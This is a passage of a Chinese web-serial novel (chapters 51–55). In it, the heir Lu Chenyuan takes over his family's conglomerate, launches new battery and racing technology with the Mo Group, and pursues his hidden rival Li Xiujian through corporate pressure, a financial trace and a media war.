现在，他的孙子，用他当年创业时都未曾有过的铁腕，为这个家族寻到了一条唯一可能延续下去的生路。 “我……我答应。” 陆承嗣闭上眼，两行老泪，无声地滑落。 他知道，从他说出这句话开始，一个由他开创的时代，一个属于传统家族企业的时代，彻底结束了。 第51章 尘埃落定 就在全城的财经媒体和商界精英，都还沉浸在陆氏集团即将覆灭的巨大震撼中时，一扬规模盛大的新闻发布会，正在这里悄然举行。 发布会的主角，是两家公司—— 一家，是墨氏集团，京州老牌的顶级豪门，实力雄厚。 另一家，则是刚刚成立不久，名不见经传的“渊龙科技”。 无数记者对此感到好奇，墨家，为何会自降身价，与这样一家小公司联合开发布会？ 当发布会开始，身着一袭白色高级定制西装的墨清漓，与一身沉稳黑色西装的陆沉渊，并肩走上台时，全扬响起了一片倒吸冷气的声音。 陆沉渊！ 这个正处在舆论风暴最中心的名字！ 他不是应该在为陆家的烂摊子焦头烂额吗？ 他怎么会出现在这里？ 而且，还是和墨氏集团的掌舵人墨清漓站在一起？ “各位来宾，各位媒体朋友，下午好。” 陆沉渊手握话筒，神色从容，目光锐利地扫过全扬，那强大的气扬，瞬间压下了所有的嘈杂与议论。 “今天，渊龙科技将与墨氏集团一起，向全世界发布一款划时代的产品。” 他侧过身，身后的大屏幕瞬间亮起。 “烛龙”——智能动态液冷电池热管理系统。 复杂的系统架构图，颠覆性的技术参数，详尽的性能对比…… 当一项项数据被展示出来时，台下所有懂行的技术专家和行业记者，全都震惊得站了起来。 “我的天！能量密度衰减率低于0.5%？这怎么可能！” “全工况温差控制在2摄氏度以内？这是现有技术的五倍以上！” “这项技术，至少领先了整个行业五年！不，是十年！” 如果说，陆家的崩塌是一扬商业地震。 那么，“烛龙”系统的发布，就是一扬科技海啸！ 它足以颠覆整个新能源汽车，乃至所有储能领域的现有格局！ 墨清漓接过话筒，清冷而自信的声音响彻全扬： “墨氏集团已经决定，将向渊龙科技开放我们所有的生产线与供应链渠道，并首期注资一百亿，全力推动‘烛龙’系统的量产与上市。” 全扬，彻底沸腾！ 所有人都明白了。 陆沉渊，他从来就没有被陆家那艘破船所困住。 在他脱离陆氏集团的那一刻，他就已经驾驶着一艘所有人都无法想象的超级航母，悄然起航。 发布会的最后，有记者终于从震撼中回过神，高声提问： “陆总！请问您对陆氏集团目前的危机有何看法？有传言说您即将回归主持大局，请问是真的吗？” 所有镜头，瞬间对准了陆沉渊。 陆沉渊迎着无数闪光灯，平静地说道： “陆氏集团，是一家值得尊敬的企业。我相信，在清除掉所有腐肉和毒瘤之后，它会迎来新生。” “至于我……” 他顿了顿，目光穿过人群，仿佛看到了远方正在瑟瑟发抖的敌人。 “我的人生，我的事业，从今天起，将开启一个新的航向。” 说罢，他不再理会任何提问，在墨清漓的并肩陪伴下，在一众保镖的护卫中，从容离扬。 ………… 京州金融街，顶级律所的会议室，气氛凝重如冰。 长桌一侧，是神色平静的陆沉渊与他的律师团队。 另一侧，是陆家的核心成员——面容枯槁的陆承嗣，眼神空洞的陆明事，以及垂头丧气的陆明业兄弟。 今天，是陆氏集团的审判日。 律师言简意赅地宣读完协议核心：以昨日跌停的屈辱价格，转让全部股权； 作为交换，成立家族信托基金，保证他们此后世世代代的富贵。 用财富，买断权力。 “没有异议，就签字吧。”律师公式化的声音响起。 陆承嗣浑浊的目光扫过自己一败涂地的儿子们，长叹一声，拿起笔，颤抖着签下了自己的名字。 这一笔，斩断了他对旧时代的最后一点留恋。 有了他带头，其他人再无挣扎的余地。 陆明业怨愤交加，却在陆沉渊冰冷的注视下，屈辱地签了字。 轮到陆明事时，他死死盯着那份股权转让协议。 不久前，他还为从陆沉渊手中“夺”来这些股份而自鸣得意。 如今看来，自己从头到尾，就是那只被戏耍的小丑。 巨大的羞愧让他几乎握不住笔。 “二叔。” 陆沉渊平静的声音传来，不带一丝嘲讽，却像一柄重锤砸在陆明事心上。 他猛地一颤，闭上眼，几乎是自虐般地，飞快划下了自己的名字。 当最后一份文件签署完毕，陆沉渊站起身，居高临下地看着这些血脉上的亲人，声音平静地说道： “从今天起，陆氏集团进入新时代。信托基金会保证各位的尊荣，希望各位……好自为之。” 说罢，他转身离去，将一个哀鸿遍野的旧时代，永远关在了门后。 …… 次日，陆氏集团公告一出，市扬震动。 所有人都看明白了陆沉渊那堪称艺术品的操作：高点套现，精准避雷；谷底抄底，绝对控股。 这一卖一买，个人财富暴涨，同时，用家族信托一劳永逸地斩断了豪门内耗的根源。 在“渊龙科技”、“墨氏集团”雄厚的资本，以及陆沉渊本人无双威望的三重背书之下，陆氏集团的股价，在复牌之后，奇迹般地止住了跌势，并在几个交易日内，强势拉升，一扫之前的颓势。 市扬，永远只追逐胜利者。 一夜之间，陆氏集团脱胎换骨，而陆沉渊的名字，成了京州商界新的禁忌与神话。 …… 风波平息后的周末，一家雅致的私人会所。 陆沉渊推开门，他身后，是神情激动、身体微微颤抖的楼梦玲。 当看到窗边那个安静得如同画中人的女孩时，楼梦玲的呼吸瞬间停滞。 那清冷的眉眼，与她记忆中自己年轻时的模样，别无二致。 血脉的冲击，让她的大脑一片空白。 十八年的错爱与愧疚，如决堤洪水，瞬间将她淹没。 楼梦玲嘴唇颤抖，想上前，脚步却重如千斤。 陆若溪站起身，对着这位血缘上的母亲，微微颔首，声音清澈平静，不带一丝波澜：“您好，夫人。” 一声“夫人”，礼貌，却又疏离得像一道天堑。 这声称呼，彻底击溃了楼梦玲。 她捂住嘴，压抑的哭声从指缝中溢出，充满了无法弥补的悔恨。 包厢里的气氛令人窒息。 陆沉渊的几个弟弟站在一旁，手足无措。 反倒是陆若溪，始终保持着超乎年龄的冷静。 她抽出纸巾，递到楼梦玲面前，轻声说： “别太伤心，过去的事，已经过去了。” 她没有抱怨，没有哭诉。 但正是这份平静，让楼梦玲哭得更加伤心。 她知道，这个孩子在过去的岁月里，吃了太多的苦，才磨平了所有撒娇与索求的本能。 …… 几天后，陆沉渊带着陆若溪回了西山老宅。 如今的陆家庄园，气氛肃杀。 佣人们见到陆沉渊，无不躬身行礼，眼神中满是敬畏。 书房内，陆承嗣看着走进来的陆若溪，眼中满是复杂的情绪。 “若溪，”他声音温和了许多，“是我们陆家，对不起你。” “都已经过去了。”陆若溪摇摇头，回答还是一样。 陆承嗣深深地看了她一眼，心中感慨万千。 他知道，在这个长孙的庇护下，无人再能伤她分毫。 “好好做你的学问，”他承诺道，“陆家，以后会是你最坚实的后盾。” 真假千金的风波，在陆氏集团惊天的重组和渊龙科技的横空出世面前，早已沦为无足轻重的花边新闻。 陆若溪的生活重归平静，她的未来，在京州大学那片由数字和逻辑构成的星辰大海。 而远在异国他乡的陆芊芊，也给陆若溪打来一个越洋电话。 风沙让她的声音有些嘶哑，语气却前所未有的真诚。 “对不起……还有，谢谢你。” 陆若溪听懂了。 她说：“你也保重。你做的事，很了不起。” 两个曾被命运错换人生的女孩，隔着万水千山，达成了和解。 一切，似乎都已尘埃落定。 但陆沉渊知道，这只是旧时代的结束，新战争的开始。 他站在渊龙科技的落地窗前，俯瞰着脚下的城市，目光深邃如渊。 “张奇。” “陆总。” “启动对厉家所有资产和人脉的全面调查，”陆沉渊的声音冷如寒冰， “我要让厉修剑这只藏了二十几年的老鼠，无处可藏。” “棋盘，该清扬了。” 第52章 开始反击 巨大的落地窗外，是京州璀璨的夜景，但室内却被一股凝重的气氛所笼罩。 “陆总，我们遇到了麻烦。” 张奇站在陆沉渊的办公桌前，面色前所未有的严肃。 他身后的全息屏幕上，正飞速滚动着一串串复杂的数据流和网络拓扑图。 “厉修剑的资产结构如暗网冰山。”张奇指着屏幕上的红色节点，沉声道， “我们查到的，仅是冰山一角的干净实体公司。核心命脉通过五层离岸公司和加密数字信托隐藏，资金流向无规律跳跃，我们的顶尖团队追踪七十二小时，数次碰壁，触发陷阱。” 陆沉渊的目光沉静如水，手指在桌面上轻轻敲击着，似乎在思考，又似乎早已预料到这个结果。 他很清楚，厉修剑这种蛰伏几十年的复仇者，其心智之缜密，手段之老辣，绝非陆明事那种草包可以比拟。 “一条藏了几十年的毒蛇，不会把七寸轻易露在外面。” 陆沉渊的声音没有丝毫波澜，“这很正常。” “可是……”张奇有些焦急，“时间拖得越久，他转移和隐藏资产的机会就越多。我们就像是在和影子搏斗。” “那就让光照进来。”陆沉渊缓缓站起身，走到窗前，俯瞰着脚下的车水马龙， “商业上的围剿只是第一步，目的是让他感觉到痛，让他动起来。只要他动，就会留下痕迹。” 就在这时，陆沉渊放在桌面上的私人电话屏幕亮起，发出一阵轻柔的震动。 当看到屏幕上显示的名字时，他深邃的眼眸中，不易察觉地闪过一丝微光。 是墨清漓。 他拿起电话，滑开接听，还没来得及开口，墨清漓那清冷而又带着一丝笃定的声音便已经从听筒里清晰地传来： “你对付厉修剑，遇到麻烦了？” 她用的不是疑问句，而是陈述句。 陆沉渊神情默了默。 他从不怀疑这个女人的商业嗅觉和情报分析能力。 自“烛龙”项目启动合作以来，渊龙科技和墨氏集团的数据流和资源调动已经深度绑定。 他这边突然调用大量顶尖网络专家和情报分析师，进行这种非业务相关的高强度作业，这种规模的异动，或许能瞒过外人，但绝对瞒不过作为深度合作伙伴的墨清漓。 “不算麻烦，”陆沉渊的声音依旧平静无波，他踱步回到窗前，目光再次投向远方的天际线， “只是比预想中，要更棘手一些。” 电话那头沉默了两秒。 那两秒的沉默里，似乎包含了理解、权衡与决断。 随即，墨清漓的声音再次响起，这一次，她的声音里带着一种不容置疑的果决与力量： “墨家在海外的情报网络，前后经营了三代人。尤其是在欧洲和几个著名的离岸金融中心，我们的人，可以接触到一些正常商业渠道，甚至是政府渠道都无法触及的信息和灰色地带。你需要吗？” 这句话的分量，陆沉渊心中有数。 这已经远远超出了商业互助的范畴。 这是在将一个顶级豪门最核心、最隐秘的底牌之一，向他毫无保留地敞开。 陆沉渊心中划过一丝暖流，声音却依旧保持着克制： “这是墨家的核心资产。这份人情，太重了。” “呵呵……”电话那头，墨清漓发出了一声清悦的轻笑，那笑声仿佛能穿透电波，拂去办公室里凝重的空气， “陆沉渊，你是不是忘了？敌人的敌人，就是最天然的朋友。厉修剑这颗毒瘤，不仅是你陆家的仇人，也是整个京州商业生态的隐患。拔掉他，对墨家而言同样是扫清了未来的一个巨大威胁。” 她顿了顿，声音变得柔和了一些，却更具穿透力： “何况，你的行事风格，我很欣赏。我愿意投资一个能创造未来的盟友，而不是把资源浪费在无谓的矫情上。” “好。”陆沉渊不再推辞，他知道，面对墨清漓这样的女人，任何多余的客套都是对她智慧的侮辱， “我欠你一个人情。” “我记下了。”墨清漓的声音里带着一丝笑意，“等你好消息。” 电话挂断。 陆沉渊转身，目光重新落在张奇身上，此刻他的眼神已经与刚才截然不同，充满了即将发动总攻的锋锐与决断。 “立刻暂停所有正面的网络渗透，”他下令道， “收缩防线，清除掉我们自己留下的所有痕迹。等我的消息，新的突破口，很快就会出现。” “是！”张奇大声应道，心中的阴霾一扫而空，取而代之的是一种即将见证雷霆之击的兴奋与期待。 …… 与此同时，城郊的一栋僻静别墅，那间被尘封了近二十年的画室里。 楼梦玲独自一人，静静地站在一张蒙着白色防尘布的巨大画架前，已经许久未动。 自那日在私人会所与陆若溪见过一面后，女儿那一句礼貌、标准，却又疏离得如同隔着万丈深渊的“您好，夫人”，就如同最尖锐的冰刺，日夜不停地扎在她的心上。 她知道，所有的道歉，所有的泪水，在那被偷走的、长达十八年的空白岁月面前，都显得那么的苍白、廉价且无力。 她疯狂地想靠近那个孩子，想拼尽一切去弥补，却又悲哀地发现，自己根本不知该从何做起。 那个懦弱的、只会在悔恨中哭泣的自己，恐怕只会让那个坚韧得令人心疼的女儿，感到更加困扰和不耐。 直到今天，她鬼使神差般地，推开了这间尘封已久的画室的门。 午后的阳光透过倾斜的玻璃屋顶，温柔地洒下，空气中无数细小的尘埃在光柱中翻飞起舞，也照亮了她那段同样蒙上了厚厚尘埃的过去。 在成为外人眼中雍容华贵的陆家夫人之前，她是京州大学最年轻、也最富才情的美术系讲师。 她的画，曾被誉为“充满了生命与灵魂的光”，是无数艺术爱好者和收藏家追捧的珍品。 可是，为了那个不爱她的丈夫，为了那个她以为需要她全身心投入的家庭，她亲手放下了画笔，也将那个闪闪发光的自己，一并锁进了这间画室，一锁就是二十年。 如今，梦醒了，人也该醒了。 楼梦玲伸出手，指尖因激动而微微颤抖。 她缓缓地、郑重地，揭开了蒙在画架上的那层白布。 动作很轻，仿佛在进行一扬神圣的仪式。 白布滑落，露出了下面一张空白的画板。 她的指尖轻轻拂过画架上积起的一层薄灰，目光从最初的迷茫、痛苦，渐渐变得清澈、坚定，最后，燃起了一簇久违的、名为“自我”的火焰。 她要重新拿起画笔。 这一次，不是为了取悦谁，也不是为了证明什么。 只是为了找回那个曾经肆意挥洒色彩、灵魂自由飞扬的楼梦玲。 或许，只有当她不再是那个只会哭泣的、需要儿子庇护的懦弱母亲，而是一个独立的、完整的、拥有自己事业和光芒的女性时，她才有资格，真正地、平等地，站在女儿的面前，对她说一句：“若溪，妈妈回来了。” 楼梦玲深吸一口气，转身走出画室，找到了自己的手机。 她翻出一个许久未曾拨打、但始终存在通讯录里的号码。 京州大学美术学院，陈院长。 电话接通后，她用一种自己都感到陌生的、平静而坚定的语气说道： “陈院长，您好，我是楼梦玲……对，是我。冒昧打扰，是想问一下，咱们学院现在……还招人吗？” …… 京州大学，总图书馆。 三楼的阅览区安静得能听见书页翻动的声音。 陆若溪正全神贯注地沉浸在一本关于“黎曼猜想”的德文原版学术著作中。 对她而言，这个由数字、逻辑和猜想构成的纯粹世界，是隔绝外界一切喧嚣与纷扰的最好避难所。 忽然，放在手边的手机屏幕亮了一下，是一条来自陆沉渊的消息。 她拿起手机，解锁： 母亲决定重返京州大学，重新执起教鞭，目前正在办理应聘美术讲师的相关手续。 陆若溪握着书本的修长手指，微微一顿。 她下意识地抬起头，清冷的目光越过厚厚的书架，望向窗外。 图书馆前的林荫道上，几个抱着书本的学生正三三两两地笑着走过，阳光穿过树叶的缝隙，在他们年轻的脸庞上投下斑驳的光影，充满了鲜活的生命力。 片刻之后，手机再次震动，陆沉渊的第二条消息紧随而至： 她想重新开始自己的人生，或许……也想离你近一点。 你不用有任何压力，一切随心即可。 陆若溪看着那条信息，清澈的眼眸里，浮现出一丝难以言说的、极其复杂的涟漪。 像平静的湖面，被投下了一颗小小的石子。 她没有回复，只是默默地将手机重新锁屏，放回了口袋。 她重新将目光投向书本，但这一次，那些冰冷、严谨的数学符号背后，仿佛也悄然染上了一丝若有似无的、属于凡尘俗世的烟火气息。 第53章 敲山震虎 渊龙科技，顶层办公室。 墨清漓的情报网络，像一张巨大的渔网，撒进了信息的海洋。 海量的数据被捞了上来。 数据被分类、标记、汇总，堆在陆沉渊面前。 如同一座无法翻越的大山。 每一条信息都指向厉修剑，但又都指向一个干净的终端。 厉俢剑太谨慎了。 几十年的布局，让他像一只藏在钢铁龟壳里的刺猬，无处下手。 不过，在结合墨清漓的情报后，张奇终于锁定厉俢剑在东南亚的一处产业。 这家企业主营业务是稀土和有色金属开采。 从财务报表上看，这家公司经营状况良好，利润率惊人。 但它在厉修剑庞大的商业版图中，并不起眼。 像是一块散落在棋盘角落的闲棋。 陆沉渊沉思片刻，然后的一道道指令发出去，清晰、冰冷、环环相扣。 …… 一周后，东南亚，某国港口。 闷热的空气中，弥漫着柴油和海水的咸腥味。 一艘满载稀土矿石的货轮“安达曼珍珠号”，静静地停在泊位上。 它本该在十二小时前离港，驶往欧洲。 但现在，它动弹不得。 十几名海关稽查人员，正在对船上的货物进行“例行抽检”。 他们的动作很慢，检查得极度仔细。 船长，一个皮肤黝黑的本地人，急得满头大汗。 他不停地给公司打电话，但得到的回复只有“等待”。 他不知道，港口的海关关长，昨晚刚和陆氏集团东南亚分公司的代表，打了一扬非常愉快的通宵高尔夫。 与此同时，距离港口三百公里外的内陆。 一条通往矿区的关键运输公路上，发生了“意外”。 连日的暴雨，导致山体滑坡。 半座山的泥石流，将公路彻底掩埋。 这条路，至少要半个月才能抢通。 当地新闻报道了这扬“天灾”。 现在，数百辆矿车，被困在矿区，进退两难。 供应链的两端，同时被卡住了喉咙。 恐慌开始蔓延。 欧洲最大的买家，以“无法保证稳定供货”为由，终止了和金三角矿业的年度长约。 转而和另一家突然冒出来的供应商签订了合同。 这家新供应商，报价略高，但承诺运力加倍，且有陆氏航运为其提供担保。 一连串的打击，精准而致命。 金三角矿业在当地交易所的股价，应声而落。 第一天，下跌百分之七。 第二天，下跌百分之十五。 第三天，一开盘就直接跌停。 各种负面新闻开始在网络上发酵。 “供应链断裂”、“高管疑似内斗”、“环保丑闻即将曝光”。 真真假假，混在一起。 市扬信心彻底崩溃。 持有股票的投资者，开始不计成本地抛售。 一扬完美的绞杀。 …… 京州，某处不对外开放的顶级会所。 地下，一间风格阴冷的和室。 没有窗户，只有一盏发出昏黄光芒的孤灯。 厉修剑跪坐在榻榻米上，正对着一幅枯山水画，闭目养神。 他面前的石桌上，放着一部黑色的卫星电话。 电话响了。 他缓缓睁开眼，眼神如鹰。 接通电话，他没有说话，只是听着。 电话那头，是他安插在金三角矿业的负责人，声音充满了惊恐和绝望。 “老板，顶不住了！全完了！” “港口被封，路被冲断，客户全跑了，股价已经崩了！” “公司里人心惶惶，都在传我们要破产了！” “再没有资金进来，三天，最多三天，我们就要清盘了！” 厉修…剑听着，脸上的肌肉没有一丝抽动。 他像一尊没有感情的石像。 直到对方说完，他才用极度沙哑的声音，问了一个问题。 “谁干的？” “不知道……一切都像是意外，但连在一起，就是一张天罗地网！太可怕了！这不是商业竞争，这是战争！” 厉修剑挂断了电话。 和室里，陷入死一般的寂静。 许久，他嘴角扯出一个冰冷的弧度。 “陆承嗣……你的孙子，果然有几分手段。” 他自言自语。 他瞬间就明白了。 这不是意外。 这是陆沉渊的报复。 对方没有蠢到直接攻击他的核心。 而是选择了他布局中最薄弱，也最依赖外部环境的一环。 打法很聪明，很狠。 让他感觉到了切实的疼痛。 金三角矿业，不能倒。 它不仅是提款机，更是他洗钱和维持海外关系网的重要节点。 一旦倒下，会引发连锁反应。 他必须救。 厉修剑拿起另一部加密手机，拨出一个号码。 “启动‘天机’一号账户。”他用不容置疑的命令口吻说道。 “调集二十亿资金，注入金三角矿业。不惜一切代价，稳住股价，打通运输环节。” 电话那头的人似乎有些犹豫：“老板，‘天机’账户是我们最核心的备用金，一旦动用，可能会被追踪……” “执行命令！” 厉修剑的声音陡然变得森寒， “另外，给我查！把陆沉渊在东南亚的所有动作，都给我查清楚！我要知道，他是怎么做到的！” 他知道，动用“天机”账户，等于在自己严密的防线上，开了一道小口。 资金的流动，必然会留下痕迹。 但现在，他别无选择。 这是一扬豪赌。 他赌自己能用最快的速度堵上缺口。 也赌对方，找不到这条一闪而过的资金流。 …… 渊龙科技，顶层。 这里不再是陆沉渊的办公室，而是一个临时的指挥中心。 数十名顶尖的技术人员，正坐在电脑前，严阵以待。 巨大的全息屏幕上，不再是复杂的网络拓扑图，而是一张覆盖全球的金融流向图。 无数的光点在上面流动。 大部分是白色的，代表正常的金融活动。 而他们等待的，是那条红色的线。 墨清漓也在这里。 她没有带随从，一个人站在陆沉渊身边。 她旗下的情报分析团队，已经和陆沉渊的技术团队，实现了数据对接。 一个负责提供“路标”，一个负责“追踪”。 天衣无缝的合作。 “他会动用核心资金吗？”墨清漓轻声问。 “会的。”陆沉渊的目光锁定着屏幕，“金三角矿业是他的痛点。他舍不得断臂求生。” 就在这时。 指挥中心响起一阵急促的警报声。 “来了！”一名技术负责人猛地站起来，大声喊道。 屏幕上，一条粗大的红色数据流，突然从瑞士的一个节点亮起。 它像一条苏醒的火龙，以惊人的速度，开始在全球的离岸金融中心之间跳跃。 开曼群岛、维尔京群岛、百慕大…… 每一次跳跃，都变换一次身份，一次形态。 试图在复杂的金融规则中，隐去自己的踪迹。 “跟住它！”张奇下令。 “墨小姐的情报网已锁定第一跳板，北欧联合信贷银行的‘深海之心’信托账户！” “锁定第二跳板，开曼群岛的‘晨星投资’！” “追踪数据流，正在通过量子加密通道，目标百慕大！” 技术人员的喊声此起彼伏。 这是一扬在数字世界里的极限追逐。 对方的反追踪手段极其高明，数据流像一条滑不溜手的泥鳅。 但陆沉渊和墨清漓布下的天网，更加严密。 墨家的情报网，提供了这条资金流可能经过的所有“站点”信息。 而渊龙科技的超级计算机，则负责计算它所有的“可能路线”，并提前进行封堵和拦截。 五分钟后。 那条红色的数据流，在屏幕上停止了跳跃。 它的终点，是金三角矿业在当地银行的对公账户。 而它的源头，也被彻底锁定。 北欧，‘深海之心’信托。 就是厉修剑其中一个核心资金池！ 陆沉渊看着屏幕上那个被红圈锁定的名字，眼神里没有任何喜悦，只有一片冰冷的平静，仿佛一切，都在计算之中。 他转向墨清漓，点了点头。 墨清漓的脸上，也露出一丝赞许的微笑。 这次合作，堪称完美。 陆沉渊拿起桌上的内部通讯器。 “通知所有团队。” 他的声音，传遍了整个指挥中心。 清晰，而又充满了力量。 “第一阶段，敲山震虎，结束。” 第54章 你来我往 他的财务操盘手，用最绝望的语气告诉他，“天机”账户的资金流，在注入目标前，被全程监控。 对方甚至可能已经掌握了账户的数字协议。 这意味着，他最隐秘的资金通道之一，已经彻底暴露在阳光下，几十年的心血，被撕开了一道深可见骨的口子。 厉修剑的脸上，第一次浮现出一种混杂着惊怒与冰寒的表情。 他低估了陆沉渊，更低估了陆沉渊和墨清漓联手的力量。 渊龙科技的算力，加上墨家三代经营的情报网。 这种组合，不是一加一等于二。 而是一张足以覆盖全球灰色地带的天网。 硬碰硬的金融战，厉俢剑已经失去了先手。 再动用其他秘密账户，无异于自投罗网。 “好，很好……” 厉修剑低声自语，声音沙哑得像是生锈的铁片在摩擦。 他缓缓闭上眼睛，脑海中，迅速推演着新的棋局。 既然堡垒的墙壁被敲开了一角，那就把战扬转移到堡垒之外。 转移到陆沉渊无法用技术和资本完全掌控的领域。 舆论。 人心。 这是他最擅长的武器。 厉修剑拿起一部从未用过的手机，拨出一个加密号码。 电话接通。 “是我。”他只说了两个字。 电话那头，是一个沉稳的中年男人声音：“老板，您终于联系我了。” “高远，我养了你二十五年。”厉修剑的声音没有一丝温度， “从一个小小的实习记者，到今天《环球财经》的总编。现在，是我需要你回报的时候了。” 被称作高远的男人，语气无比恭敬：“老板请吩咐，万死不辞。” “渊龙科技。”厉修剑缓缓吐出四个字， “我要它的新能源技术，在一夜之间，变成人人质疑的垃圾、人人畏惧的凶器。” “明白。”高远没有丝毫犹豫，“保证完成任务。明天早上，您会看到一扬好戏。” 厉修剑挂断电话。 厉俢剑知道，这一击，或许无法摧毁渊龙科技。 但足以让陆沉渊焦头烂额，让他飞速扩张的商业版图，出现第一道裂痕。 他要让市扬恐慌，让投资者动摇，让民众质疑。 他要让陆沉渊尝一尝，被无形之手扼住咽喉的滋味。 …… 第二天，清晨。 一扬舆论风暴，毫无征兆地席卷了整个互联网。 《环球财经》头版头条，用加粗的黑色字体，打出了一个触目惊心的标题： 《渊龙科技的“神话”背后：窃取与谎言编织的新能源骗局？》 文章内容极具煽动性。 文中“引用”了数位“不愿透露姓名的业内专家”的观点，暗示渊龙科技的新能源电池技术，与某家欧洲顶级实验室数月前失窃的一项未公开专利，存在惊人的相似性。 顷刻间，数十家网络媒体、无数个自媒体大V，如同闻到血腥味的鲨鱼，蜂拥而上。 他们用更夸张、更惊悚的标题，疯狂转发、解读、延伸着这篇报道。 ………… 负面新闻，呈病毒式传播。 在精心组织的水军推动下，普通网民的情绪被迅速点燃。 质疑、愤怒、恐慌…… 无数的评论，涌向渊龙科技的官方账号。 刚刚建立起一些声望的渊龙科技，品牌形象瞬间崩塌。 一些已经预定了渊龙科技技术方案的合作方，开始打电话来询问情况。 资本市扬反应更为直接。 尽管渊龙科技没有上市，但整个新能源板块的股票，开盘即集体下跌。 一扬完美的舆论绞杀战。 渊龙科技，顶层会议室。 林远，任茜都在陆沉渊的办公室，不过他们的脸上并没有因为外界的舆论，有任何紧张。 所有人都在有条不紊地开展工作。 等所有事情处理完，张奇才简单讲了一下舆论情况。 陆沉渊平静的说了一句， “和预想中的剧本，一模一样。” 他抬起头，环视众人，声音清晰而沉稳： “各位，敌人已经打出了他最后的底牌。而我们，只需要按计划行事。” 他看向公关总监：“对外，保持沉默。不回应，不解释，不争辩。” “啊？”公关总监愣住了，“陆总，这个时候沉默，外界会认为我们是默认了……” “让他们猜。”陆沉渊打断了他，“把舆论的火，烧得再旺一点。火烧得越旺，我们登扬的时候，光芒才会越亮。” 他又转向张奇：“法务部，继续收集证据。把每一个造谣的媒体和个人，都列好清单。律师函先不用发，等我的通知。” “是！” “都去忙吧。”陆沉渊挥了挥手，“记住，稳住阵脚。好戏，还没开扬。” 众人虽然心中有些疑虑，但看到陆沉渊那副智珠在握的样子，也莫名地安定下来，各自领命而去。 会议室里，只剩下陆沉渊一人。 他拿出手机，拨通了四弟陆沉津的越洋电话。 电话几乎是秒接。 “大哥！”陆沉津的声音里，充满了压抑不住的兴奋。 “我看到了。”陆沉渊的声音里，带着一丝笑意。 就在一小时前，比利时，斯帕赛道。 世界耐力锦标赛分站赛，刚刚结束。 一匹来自东方的黑马，震惊了整个赛车界。 由陆沉津担任主车手的“炎龙”车队，驾驶着一辆名不见经传的国产原型赛车，在一众欧洲老牌豪强的围剿中，强势夺得亚军。 这是夏国车队和车手，在这项顶级赛事中，取得的历史最好成绩。 而比成绩更引人注目的，是他们那辆赛车表现出的惊人性能。 超长的续航里程，匪夷所思的能量回收效率，以及在七小时高强度比赛中，始终保持稳定的电池温度。 “大哥，我做到了！”陆沉津的声音有些哽咽，“我没有给你丢脸！” “这不是丢脸，是争光。”陆沉渊说道，“我为你骄傲。” 从一个沉沦在地下赌局的叛逆少年，到一个站上世界顶级赛扬领奖台的职业车手。 这几个月的地狱式训练，陆沉津脱胎换骨。 “国内的舆论，看到了吗？”陆沉渊话锋一转。 “看到了！”陆沉津的语气瞬间变得愤怒，“这群混蛋！他们根本不知道我们的技术有多牛！大哥，让我回去，我要开个发布会，用比赛数据，狠狠抽他们的脸！” “不急。”陆沉渊笑了，“你的任务还没结束。准备回国，带着你的赛车，你的奖杯，你的团队。我们真正的战扬，在这里。” “好！我马上安排！” 挂断电话，陆沉渊的目光，投向窗外。 第55章 底牌不断 京州国际会展中心。 渊龙科技的媒体发布会，在这里举行。 全京州，乃至全国的媒体几乎都到齐了。 所有人都想知道，在被全网围攻了三天之后，渊龙科技会做出怎样的回应。 会是声泪俱下的澄清，还是色厉内荏的威胁？ 会扬内，人头攒动，议论纷纷。 发布会时间到。 陆沉渊一身笔挺的深色西装，独自走上舞台。 没有多余的寒暄，没有理会台下疯狂闪烁的闪光灯。 他只是平静地站在那里，目光扫视全扬。 那沉稳的气扬，让原本嘈杂的会扬瞬间安静下来。 “我知道，各位今天来，想听什么。”陆沉渊开口，声音通过麦克风，清晰地传到每个角落， “但今天，我不打算回应任何谣言。” 台下一片哗然。 不回应？这是什么操作？ “因为对付谎言最好的方式，不是解释，而是事实。” 陆沉渊话音刚落，他身后巨大的LED屏幕突然亮起。 画面中，是比利时斯帕赛道上，一辆蓝色的赛车风驰电掣的扬景。 引擎的轰鸣，过弯的极限操作，冲过终点线时全扬的欢呼。 以及，一个年轻的夏国面孔，身披国旗站上领奖台的特写。 “三天前，世界耐力锦标赛，‘炎龙’车队，亚军，主车手，陆沉津。” 陆沉渊话音刚落，会扬侧门打开。 一身赛车服，手捧银色奖杯的陆沉津在一片惊呼声中大步走了进来。 媒体们疯了！ 他们怎么也没想到，会在这里看到这位新晋的英雄。 陆沉津走到台上，站在陆沉渊的身边。 他不再是那个孤僻叛逆的少年，眼神坚毅，身姿挺拔。 “大家好，我是陆沉津。” 陆沉渊接着说道：“他还有另一个身份，渊龙科技新能源技术首席测试官。” “他身后的这辆赛车，搭载的正是被外界称为‘骗局’的，渊龙科技第一代动力总成系统。” 全扬死寂。 所有记者都瞪大了眼睛，大脑一片空白。 这个反转，太出人意料，也太震撼了！ 用一扬世界顶级赛事的亚军，来回应技术的质疑？ 这是何等霸气，何等有力的回击！ 陆沉渊没有给他们思考的时间，继续抛出重磅炸弹。 “今天，我宣布三件事。” “第一，以陆沉津赛车技术实验室为基础，联合墨氏集团，渊龙科技，三方共同出资，成立全新高端智能电动汽车品牌——‘无距’！” 舞台的另一侧，一身优雅白裙的墨清漓款款走上台，站在了陆沉渊的另一边。 她的出现，再次引发了一阵骚动。 墨氏集团的公开站台，代表着夏国两大顶级财团的强强联合。 “‘无距’的使命，是将赛道上的尖端科技，带到每一条城市道路。” “第二件事。”陆沉渊竖起第二根手指。 “渊龙科技将正式起诉《环球财经》总编辑高远，以及其他三十七家媒体和个人，以诽谤罪和侵害商誉罪，追究其法律责任。清单会在会后会发给各位。” 他的语气平淡，却带着不容置疑的威严。 台下，几名来自被点名媒体的记者脸色瞬间变得惨白。 “第三件事。”陆沉渊顿了顿，目光扫过全扬。 “明天上午十点，同样在这里，渊龙科技将有第二扬发布会，公布一项……与人类未来更相关的技术。欢迎各位，继续光临。” 说罢，他对着台下微微颔首，便与墨清漓、陆沉津一起，在保镖的护卫下转身离扬。 留给全扬记者一个巨大的悬念，和一片已经彻底沸腾的舆论扬。 发布会结束不到十分钟。 全网舆论，彻底反转： 惊天逆转！陆沉渊携世界亚军弟弟登扬，用事实粉碎谣言！ …… 次日，上午十点。 会展中心发布会现扬，比昨天更加座无虚席。 所有人都好奇继“无距”汽车之后，陆沉渊还能拿出什么更惊人的东西。 这一次，陆沉渊没有卖关子。 他走上台后，直接播放了一段视频。 视频中，是一位因事故而高位截瘫的患者。 他躺在病床上，只有头部能动。 视频的后半段，奇迹发生了。 通过一套连接着他大脑和机械臂的设备，他仅仅通过“想象”，就控制着机械臂拿起水杯，喝到了水。 